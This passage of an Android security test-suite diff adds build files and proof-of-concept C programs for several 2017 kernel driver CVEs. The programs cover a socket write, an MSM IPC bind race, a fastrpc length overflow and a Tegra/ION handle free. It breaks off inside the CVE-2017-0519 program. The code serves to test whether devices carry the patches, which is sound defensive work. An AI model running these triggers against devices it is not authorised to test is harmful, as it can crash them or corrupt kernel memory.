+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0460
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c
new file mode 100644
index 0000000..4ca0930
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0460/poc.c
@@ -0,0 +1,68 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <setjmp.h>
+#include <signal.h>
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <syscall.h>
+#include <unistd.h>
+
+__thread int skip_segv;
+__thread jmp_buf segv_env;
+
+#define NONFAILING(...) \
+ { \
+ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
+ if (_setjmp(segv_env) == 0) { \
+ __VA_ARGS__; \
+ } \
+ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
+ }
+
+#ifndef SYS_socket
+#define SYS_socket 41
+#endif
+#ifndef SYS_mmap
+#define SYS_mmap __NR_mmap
+#endif
+#ifndef __NR_mmap
+#define __NR_mmap 222
+#endif
+#ifndef SYS_syz_open_dev
+#define SYS_syz_open_dev 1000001
+#endif
+#ifndef SYS_write
+#define SYS_write 1
+#endif
+
+long r;
+
+int main() {
+ r = syscall(SYS_socket, 0x10ul, 0x3ul, 0x1ful, 0, 0, 0);
+ syscall(SYS_mmap, 0x20005000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful,
+ 0x0ul);
+ NONFAILING(*(uint32_t*)0x20005ff0 = (uint32_t)0x10);
+ NONFAILING(*(uint32_t*)0x20005ff4 = (uint32_t)0x31);
+ NONFAILING(*(uint64_t*)0x20005ff8 = (uint64_t)0xb4);
+ syscall(SYS_write, r, 0x20005ff0ul, 0x10ul, 0, 0, 0);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
index 46c773d..35531b4 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk
new file mode 100644
index 0000000..d5422dc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0463/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0463
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c
new file mode 100644
index 0000000..5758130
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0463/poc.c
@@ -0,0 +1,85 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/syscall.h>
+#include <unistd.h>
+#include <errno.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <netinet/ip.h>
+
+#define AF_MSM_IPC 27
+#define MSM_IPC_ADDR_NAME 1
+#define IPC_ROUTER_IOCTL_BIND_CONTROL_PORT _IOR(0xC3, 4, unsigned int)
+#define M 300
+
+void *trigger(void *p);
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct sockaddr_msm_ipc addr;
+
+void *trigger(void *p) {
+ int f = socket(AF_MSM_IPC, 2, 0);
+ ioctl(f, IPC_ROUTER_IOCTL_BIND_CONTROL_PORT, 0);
+
+ addr.family = AF_MSM_IPC;
+ addr.address.addrtype = MSM_IPC_ADDR_NAME;
+ bind(f, (struct sockaddr *)&addr, sizeof(addr));
+
+ close(f);
+ return NULL;
+}
+
+int main()
+{
+ int i;
+ pthread_t th0[M];
+
+ for (i = 0; i < M; i++) {
+ pthread_create(&th0[i], NULL, trigger, NULL);
+ }
+
+ usleep(100000);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk
new file mode 100644
index 0000000..1107a59
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0465/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0465
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h b/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h
new file mode 100644
index 0000000..7c356b9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0465/local_poc.h
@@ -0,0 +1,75 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c
new file mode 100644
index 0000000..f92f5ba
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0465/poc.c
@@ -0,0 +1,88 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include "local_poc.h"
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <time.h>
+#include <sys/types.h>
+#include <string.h>
+#include <stdlib.h>
+#include <unistd.h>
+
+struct remote_buf {
+ void *pv; /* buffer pointer */
+ ssize_t len; /* length of buffer */
+};
+
+union remote_arg {
+ struct remote_buf buf; /* buffer info */
+ uint32_t h; /* remote handle */
+};
+
+#define remote_arg_t union remote_arg
+
+struct fastrpc_ioctl_invoke {
+ uint32_t handle; /* remote handle */
+ uint32_t sc; /* scalars describing the data */
+ remote_arg_t *pra; /* remote arguments list */
+};
+
+struct fastrpc_ioctl_invoke_fd {
+ struct fastrpc_ioctl_invoke inv;
+ int *fds; /* fd list */
+};
+
+#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)
+
+int main(int argc, char **argv) {
+ int fd;
+ int ret, i;
+ struct fastrpc_ioctl_invoke_fd arg;
+ struct fastrpc_ioctl_invoke *inv;
+ void *ptr;
+
+ unsigned long long seed = 13234300;
+ srand((unsigned)seed);
+ fd = open("/dev/adsprpc-smd", O_RDONLY);
+
+ ptr = malloc(0xFFFF);
+
+ arg.fds = NULL;
+ inv = &arg.inv;
+
+ inv->sc = 0x00020111;
+ inv->pra = (remote_arg_t *)malloc(4 * sizeof(remote_arg_t));
+ inv->pra[0].buf.pv = ptr;
+ inv->pra[0].buf.len = 0x0000FFFF;
+
+ memset(inv->pra[0].buf.pv, 0xFF, 0xFFFF);
+ inv->pra[1].buf.pv = ptr;
+ inv->pra[1].buf.len = 0x0000FFFF;
+
+ inv->pra[2].buf.pv = (void*)((char *)inv->pra[0].buf.pv + 0xFFFF - 128);
+ inv->pra[2].buf.len = (unsigned long)0xFFFFFFFFFFFFFFFF -
+ (unsigned long)inv->pra[2].buf.pv + 128;
+
+ ret = ioctl(fd, FASTRPC_IOCTL_INVOKE_FD, &arg);
+
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0508/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0508/Android.mk
new file mode 100644
index 0000000..194cd9f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0508/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0508
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0508/poc.c
new file mode 100644
index 0000000..5ed3e9b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0508/poc.c
@@ -0,0 +1,195 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dirent.h>
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <linux/sched.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/resource.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/time.h>
+#include <unistd.h>
+#include <unistd.h>
+
+#define DRM_TEGRA_GEM_CREATE 0x00
+#define DRM_TEGRA_GEM_MMAP 0x01
+#define DRM_TEGRA_SYNCPT_READ 0x02
+#define DRM_TEGRA_SYNCPT_INCR 0x03
+#define DRM_TEGRA_SYNCPT_WAIT 0x04
+#define DRM_TEGRA_OPEN_CHANNEL 0x05
+#define DRM_TEGRA_CLOSE_CHANNEL 0x06
+#define DRM_TEGRA_GET_SYNCPT 0x07
+#define DRM_TEGRA_SUBMIT 0x08
+#define DRM_TEGRA_GET_SYNCPT_BASE 0x09
+#define DRM_TEGRA_GEM_SET_TILING 0x0a
+#define DRM_TEGRA_GEM_GET_TILING 0x0b
+#define DRM_TEGRA_GEM_SET_FLAGS 0x0c
+#define DRM_TEGRA_GEM_GET_FLAGS 0x0d
+#define DRM_TEGRA_GET_CLK_RATE 0x0e
+#define DRM_TEGRA_SET_CLK_RATE 0x0f
+#define DRM_TEGRA_START_KEEPON 0x10
+#define DRM_TEGRA_STOP_KEEPON 0x11
+#define DRM_TEGRA_GET_CLK_CONSTRAINT 0x12
+#define DRM_TEGRA_SET_CLK_CONSTRAINT 0x13
+
+struct drm_tegra_gem_create {
+ __u64 size;
+ __u32 flags;
+ __u32 handle;
+};
+struct drm_tegra_open_channel {
+ __u32 client;
+ __u32 pad;
+ __u64 context;
+};
+struct drm_tegra_constraint {
+ /* channel context (from opening a channel) */
+ __u64 context;
+ /* index identifying the clock. One of HOST1X_CLOCK_INDEX_* */
+ __u32 index;
+ /* constraint type. One of HOST1X_USER_CONSTRAINT_TYPE_* */
+ __u32 type;
+ /* numeric value for type */
+ __u32 rate;
+ __u32 pad;
+};
+struct drm_prime_handle {
+ __u32 handle;
+
+ /** Flags.. only applicable for handle->fd */
+ __u32 flags;
+
+ /** Returned dmabuf file descriptor */
+ __s32 fd;
+};
+
+#define DRM_COMMAND_BASE 0x40
+#define DRM_COMMAND_END 0xA0
+#define DRM_IOCTL_BASE 'd'
+#define DRM_IO(nr) _IO(DRM_IOCTL_BASE, nr)
+#define DRM_IOR(nr, type) _IOR(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOW(nr, type) _IOW(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOWR(nr, type) _IOWR(DRM_IOCTL_BASE, nr, type)
+#define DRM_IOCTL_TEGRA_GEM_CREATE \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GEM_CREATE, struct drm_tegra_gem_create)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, \
+ struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_GET_CLK_CONSTRAINT \
+ DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_GET_CLK_CONSTRAINT, \
+ struct drm_tegra_constraint)
+#define DRM_IOCTL_PRIME_HANDLE_TO_FD DRM_IOWR(0x2d, struct drm_prime_handle)
+
+int g_fd = -1;
+int g_ion_fd = -1;
+enum host1x_class {
+ HOST1X_CLASS_HOST1X = 0x1,
+ HOST1X_CLASS_NVENC = 0x21,
+ HOST1X_CLASS_VI = 0x30,
+ HOST1X_CLASS_ISPA = 0x32,
+ HOST1X_CLASS_ISPB = 0x34,
+ HOST1X_CLASS_GR2D = 0x51,
+ HOST1X_CLASS_GR2D_SB = 0x52,
+ HOST1X_CLASS_VIC = 0x5D,
+ HOST1X_CLASS_GR3D = 0x60,
+ HOST1X_CLASS_NVJPG = 0xC0,
+ HOST1X_CLASS_NVDEC = 0xF0,
+};
+int classes[] = {HOST1X_CLASS_HOST1X, HOST1X_CLASS_NVENC, HOST1X_CLASS_VI,
+ HOST1X_CLASS_ISPA, HOST1X_CLASS_ISPB, HOST1X_CLASS_GR2D,
+ HOST1X_CLASS_GR2D_SB, HOST1X_CLASS_VIC, HOST1X_CLASS_GR3D,
+ HOST1X_CLASS_NVJPG, HOST1X_CLASS_NVDEC};
+#define ION_IOC_MAGIC 'I'
+#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+struct ion_fd_data {
+ int handle;
+ int fd;
+};
+struct ion_handle_data {
+ int handle;
+};
+
+int open_driver(void);
+void gem_create(void);
+void handle_to_fd(void);
+void ion_import(void);
+void ion_handle_free(void);
+
+int open_driver(void) {
+ const char* dev_path = "/dev/dri/renderD129";
+ g_fd = open(dev_path, O_RDONLY);
+ if (g_fd < 0) {
+ return g_fd;
+ }
+
+ dev_path = "/dev/ion";
+ g_ion_fd = open(dev_path, O_RDONLY);
+ if (g_ion_fd < 0) {
+ return g_ion_fd;
+ }
+ return 1;
+}
+
+char* g_buf = NULL;
+void* g_context = NULL;
+int g_gem_handle = -1;
+int g_dmabuf_fd = -1;
+int g_ion_handle = -1;
+
+void gem_create(void) {
+ struct drm_tegra_gem_create para = {0, 0, 0};
+ para.size = 1024;
+ ioctl(g_fd, DRM_IOCTL_TEGRA_GEM_CREATE, ¶);
+ g_gem_handle = para.handle;
+}
+void handle_to_fd(void) {
+ struct drm_prime_handle para = {0, 0, 0};
+ para.handle = g_gem_handle;
+ ioctl(g_fd, DRM_IOCTL_PRIME_HANDLE_TO_FD, ¶);
+ g_dmabuf_fd = para.fd;
+}
+void ion_import(void) {
+ struct ion_fd_data para = {0, 0};
+ para.fd = g_dmabuf_fd;
+ ioctl(g_ion_fd, ION_IOC_IMPORT, ¶);
+ g_ion_handle = para.handle;
+}
+void ion_handle_free(void) {
+ struct ion_handle_data para = {0};
+ para.handle = g_ion_handle;
+ ioctl(g_ion_fd, ION_IOC_FREE, ¶);
+}
+
+int main() {
+ if (open_driver() < 0) {
+ return -1;
+ }
+ gem_create();
+ handle_to_fd();
+ ion_import();
+ ion_handle_free();
+ close(g_fd);
+ close(g_dmabuf_fd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk
new file mode 100644
index 0000000..ca3ffb6
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0519/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0519
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c
new file mode 100644
index 0000000..767a671
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0519/poc.c
@@ -0,0 +1,253 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138 /* From sns_common_v01.idl */
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+ QMI_OPT_FLAG = 1,
+ QMI_DATA_LEN,
+ QMI_UNSIGNED_1_BYTE,
+ QMI_UNSIGNED_2_BYTE,
+ QMI_UNSIGNED_4_BYTE,
+ QMI_UNSIGNED_8_BYTE,
+ QMI_SIGNED_2_BYTE_ENUM,
+ QMI_SIGNED_4_BYTE_ENUM,
+ QMI_STRUCT,
+ QMI_STRING,
+ QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+ unsigned char cntl_flag;
